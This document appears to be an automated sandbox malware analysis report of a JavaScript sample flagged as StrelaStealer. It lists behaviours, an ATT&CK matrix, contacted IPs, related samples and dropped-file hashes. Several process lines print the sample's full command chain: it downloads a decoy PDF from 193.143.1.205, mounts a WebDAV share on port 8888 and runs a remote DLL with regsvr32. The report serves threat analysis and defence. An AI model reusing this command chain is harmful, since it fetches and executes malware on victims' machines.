Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	2 Windows Management Instrumentation	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	141 Virtualization/Sandbox Evasion	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Native API	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Exploitation for Client Execution	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	141 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	142 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
467631239147784826.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer
467631239147784826.js	8%	Virustotal		Browse

Source	Detection	Scanner	Label
http://193.143.1.205:8888/.Sx	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/Q	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/nS8	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/tems	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/RS	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/xv	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/RS	net.exe, 00000007.00000002.2094191341.000001E0CD2A3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3313583540.00000286FE40F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2094009666.00000286FE320000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/xv	net.exe, 00000007.00000002.2094191341.000001E0CD2BF000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/nS8	net.exe, 00000007.00000002.2094191341.000001E0CD2A3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/.Sx	net.exe, 00000007.00000002.2094191341.000001E0CD2A3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2094191341.000001E0CD2A3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2094191341.000001E0CD268000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/Q	net.exe, 00000007.00000002.2094191341.000001E0CD268000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/tems	net.exe, 00000007.00000002.2094191341.000001E0CD268000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588735
Start date and time:	2025-01-11 04:47:36 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	467631239147784826.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 3.233.129.217, 52.22.41.97, 3.219.243.226, 52.6.155.20, 162.159.61.3, 172.64.41.3, 2.23.242.162, 172.202.163.200, 199.232.214.172, 23.209.209.135, 20.3.187.198, 2.16.168.107, 2.16.168.105, 13.85.23.206, 40.69.42.241, 20.242.39.171, 23.56.162.204, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, dns.msftncsi.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
22:48:28	API Interceptor	22x Sleep call for process: powershell.exe modified
22:48:31	API Interceptor	1x Sleep call for process: net.exe modified
22:48:32	API Interceptor	2x Sleep call for process: svchost.exe modified
22:48:44	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	301425897285010519.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2949911514285745182.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2708993316838119.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18620271451234622924.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	26999259552055117101.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	622118739225021737.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32139134812378922139.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	42384357676028189.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	696568221068916474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1528152952987120978.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	RzEqKuZBuK.exe	Get hash	malicious	GuLoader	Browse	199.232.210.172
	301425897285010519.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2708993316838119.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	26999259552055117101.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	622118739225021737.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	32139134812378922139.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	42384357676028189.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	696568221068916474.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	18203107951121827015.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	200475024256003612.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	301425897285010519.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2949911514285745182.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2708993316838119.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	183751298714312883.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3414115772858819502.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18620271451234622924.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	26999259552055117101.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	622118739225021737.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32139134812378922139.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	42384357676028189.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8306909003879875
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugq:gJjJGtpTq2yv1AuNZRY3diu8iBVqFI
MD5:	62E9A3345352340C0C06795606D9A184
SHA1:	8EA2F914027D9B0F51D0F736972499EA441423FF
SHA-256:	E47B2C6CDB37D236318560E840E1A21C0B6EDF45988F96A970C2C9E5C633A40C
SHA-512:	D68CA64678C071D1BB8F0E47A75C7EE2CC9C5F0BAA3CC442661BF9396ECCDCD38DEEEECEFE48F9194CF542DC062A4CB0626EE3C09F8B05FB65E47041C62A923A
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x6eb797f9, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585261102490837
Encrypted:	false
SSDEEP:	1536:JSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Jaza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	191B0BBCC76D3BB22FC2FF394601C201
SHA1:	E3F964E41F2E29CB32246D3DA471A7BABF70FB9E
SHA-256:	1F341211B5EB8DD2D1F62BDA331147A3D0741FFF2FCEBDC85F45BB291BF23CA7
SHA-512:	3FFDD9C107A41DFD43A4A34940A853221097F189CB02F6A78F1D84E80F1DD7AD9F8642DA73CA8167F06EC611B348CEF2AA547704471C26B450A805D5726A8FEE
Malicious:	false
Preview:	n...... ...............X\...;...{......................0.z..........{.. 0...}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{...................................... 0...}.................I.?Y 0...}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07943643637669356
Encrypted:	false
SSDEEP:	3:JkmXEYeynyekGuAJkhvekl1oaMMqllrekGltll/SPj:dXEzmytrxlOaMJJe3l
MD5:	136B41A37A1D3D5FA9E71931C6168B01
SHA1:	99A8841FB4472D5003A4AD77360D8583603A993F
SHA-256:	3C96942A041189781026B3B7B9ABCC9FA82782B8056617B2004F1D29C5BB17CA
SHA-512:	44FF54A68AA6E157E4A0C30F17E0823A1ACC203173ACFAFA0DEB1E483CEF2235E506D02F13480076D0A3C4C7851A5C49E7518CFAEA92CC1E77E89B4AFA46FD4E
Malicious:	false
Preview:	.q.......................................;...{.. 0...}.......{...............{.......{...XL......{..................I.?Y 0...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.207320969703504
Encrypted:	false
SSDEEP:	6:iO4qXzh8Vq2P92nKuAl9OmbnIFUtSqXzugZmwsqXzuIkwO92nKuAl9OmbjLJ:7L8Vv4HAahFUtWg/0I5LHAaSJ
MD5:	1FF09A45CAF72ADDA0170B268C1BFEB1
SHA1:	078360A805D072E123AAEE0F9AA03A57A42E7B4B
SHA-256:	E878839D647D866D87CE426B0286685D4A79DE1FF9004C6EA74094ABDFB621F8
SHA-512:	970A25C778036EB1040C796D231576F63291580A81ACAA5755E1BEE78AA35977412C7DE6B3FCF36F691EC5144A55116BC70DE653E693F1F3330EDC26FDDAF968
Malicious:	false
Preview:	2025/01/10-22:48:31.907 1614 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:48:31.910 1614 Recovering log #3.2025/01/10-22:48:31.910 1614 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.207320969703504
Encrypted:	false
SSDEEP:	6:iO4qXzh8Vq2P92nKuAl9OmbnIFUtSqXzugZmwsqXzuIkwO92nKuAl9OmbjLJ:7L8Vv4HAahFUtWg/0I5LHAaSJ
MD5:	1FF09A45CAF72ADDA0170B268C1BFEB1
SHA1:	078360A805D072E123AAEE0F9AA03A57A42E7B4B
SHA-256:	E878839D647D866D87CE426B0286685D4A79DE1FF9004C6EA74094ABDFB621F8
SHA-512:	970A25C778036EB1040C796D231576F63291580A81ACAA5755E1BEE78AA35977412C7DE6B3FCF36F691EC5144A55116BC70DE653E693F1F3330EDC26FDDAF968
Malicious:	false
Preview:	2025/01/10-22:48:31.907 1614 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:48:31.910 1614 Recovering log #3.2025/01/10-22:48:31.910 1614 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.132160216461813
Encrypted:	false
SSDEEP:	6:iO4qX6TMq2P92nKuAl9Ombzo2jMGIFUtSqXiKjZZmwsqXiKjzkwO92nKuAl9OmbX:7MTMv4HAa8uFUtD9/BP5LHAa8RJ
MD5:	9C82298191EEA233C1F017014EEE3348
SHA1:	C1D1FF9EBF115857897A05DB137C290F080400A5
SHA-256:	9C3EFFBFE52C3D71729DE37F3C01FB64F55FD6FE2E8621478AE3862099C54E47
SHA-512:	9AB2B73A299C04C62F015334FAA42B603CCE316EF01838F22688665579D8EB1CACF2A59FD6FC6EEA2D7F44E923156CA898DA146748F1A466BF3310C11520DE72
Malicious:	false
Preview:	2025/01/10-22:48:32.004 1c84 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:48:32.005 1c84 Recovering log #3.2025/01/10-22:48:32.005 1c84 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.132160216461813
Encrypted:	false
SSDEEP:	6:iO4qX6TMq2P92nKuAl9Ombzo2jMGIFUtSqXiKjZZmwsqXiKjzkwO92nKuAl9OmbX:7MTMv4HAa8uFUtD9/BP5LHAa8RJ
MD5:	9C82298191EEA233C1F017014EEE3348
SHA1:	C1D1FF9EBF115857897A05DB137C290F080400A5
SHA-256:	9C3EFFBFE52C3D71729DE37F3C01FB64F55FD6FE2E8621478AE3862099C54E47
SHA-512:	9AB2B73A299C04C62F015334FAA42B603CCE316EF01838F22688665579D8EB1CACF2A59FD6FC6EEA2D7F44E923156CA898DA146748F1A466BF3310C11520DE72
Malicious:	false
Preview:	2025/01/10-22:48:32.004 1c84 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:48:32.005 1c84 Recovering log #3.2025/01/10-22:48:32.005 1c84 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.054204384749851
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqI6xsBdOg2H55caq3QYiubxnP7E4T3OF+:Y2sRdsD6idMH5A3QYhbxP7nbI+
MD5:	F95EA84ECBBFB79D0906429731B14E4C
SHA1:	0DFFB67B73AB9393260DA8EF87EFD79D4BC823BC
SHA-256:	3E03E0972E7C67EDFD31BD992481AC67F4B4A66B1BA561B6E9CEF0C90C678C7B
SHA-512:	5ACA0FCD992467950A03C9811F8804E5E0BCC97AECCC5CCDDBC6A6C1CAA899FD564EF5D6592BDFE7838E6BF5861BC753A8B4B7A6B46AB89069D5DEE9A65849DC
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381127324664880","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":143755},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\af2af1b1-95d5-4140-9127-0f6f16f61e81.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.054204384749851
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqI6xsBdOg2H55caq3QYiubxnP7E4T3OF+:Y2sRdsD6idMH5A3QYhbxP7nbI+
MD5:	F95EA84ECBBFB79D0906429731B14E4C
SHA1:	0DFFB67B73AB9393260DA8EF87EFD79D4BC823BC
SHA-256:	3E03E0972E7C67EDFD31BD992481AC67F4B4A66B1BA561B6E9CEF0C90C678C7B
SHA-512:	5ACA0FCD992467950A03C9811F8804E5E0BCC97AECCC5CCDDBC6A6C1CAA899FD564EF5D6592BDFE7838E6BF5861BC753A8B4B7A6B46AB89069D5DEE9A65849DC
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381127324664880","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":143755},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.233354587278903
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLULNzj5:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLC
MD5:	BEC1ABFE7D5F371768098800ACD27EE4
SHA1:	48E5A2F20EFD49A4029025ABB9756198C0818641
SHA-256:	DB0CE01FABB61A7CD762331C7ABB5D350C2A847C0DD0A3D2C9CEFAF5AFC047AB
SHA-512:	EDFCED90B4BDB0C63897060749F5F4D320A7D2B504D4565CBA2C43C243C254CD4FABC50E2D76E44F26A4CBFEF6160774B9DB916996D180933E394127575B0F0E
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.17885452382972
Encrypted:	false
SSDEEP:	6:iO4qXkq2P92nKuAl9OmbzNMxIFUtSqXWhZZmwsqXWhzkwO92nKuAl9OmbzNMFLJ:7Ov4HAa8jFUtK/U5LHAa84J
MD5:	775C1458C6F572B1FD2D8C2A828F9205
SHA1:	5566FDAE10A5B0157F878C3DE33ECEE7FCCA1117
SHA-256:	DD5F8F2AE162C6372EC61740AABD8F548B85756E80C5DFA96435BB689A1A1449
SHA-512:	36078C51A822F546CF5EBFE9913DE0E8D27357D71CD793ED9848829A519EC0C6B646A0CE742472B44429660A6E2D1919A26A815B863FABC56FB5ABE9D0BC2D0B
Malicious:	false
Preview:	2025/01/10-22:48:32.074 1c84 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:48:32.075 1c84 Recovering log #3.2025/01/10-22:48:32.075 1c84 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.17885452382972
Encrypted:	false
SSDEEP:	6:iO4qXkq2P92nKuAl9OmbzNMxIFUtSqXWhZZmwsqXWhzkwO92nKuAl9OmbzNMFLJ:7Ov4HAa8jFUtK/U5LHAa84J
MD5:	775C1458C6F572B1FD2D8C2A828F9205
SHA1:	5566FDAE10A5B0157F878C3DE33ECEE7FCCA1117
SHA-256:	DD5F8F2AE162C6372EC61740AABD8F548B85756E80C5DFA96435BB689A1A1449
SHA-512:	36078C51A822F546CF5EBFE9913DE0E8D27357D71CD793ED9848829A519EC0C6B646A0CE742472B44429660A6E2D1919A26A815B863FABC56FB5ABE9D0BC2D0B
Malicious:	false
Preview:	2025/01/10-22:48:32.074 1c84 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:48:32.075 1c84 Recovering log #3.2025/01/10-22:48:32.075 1c84 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
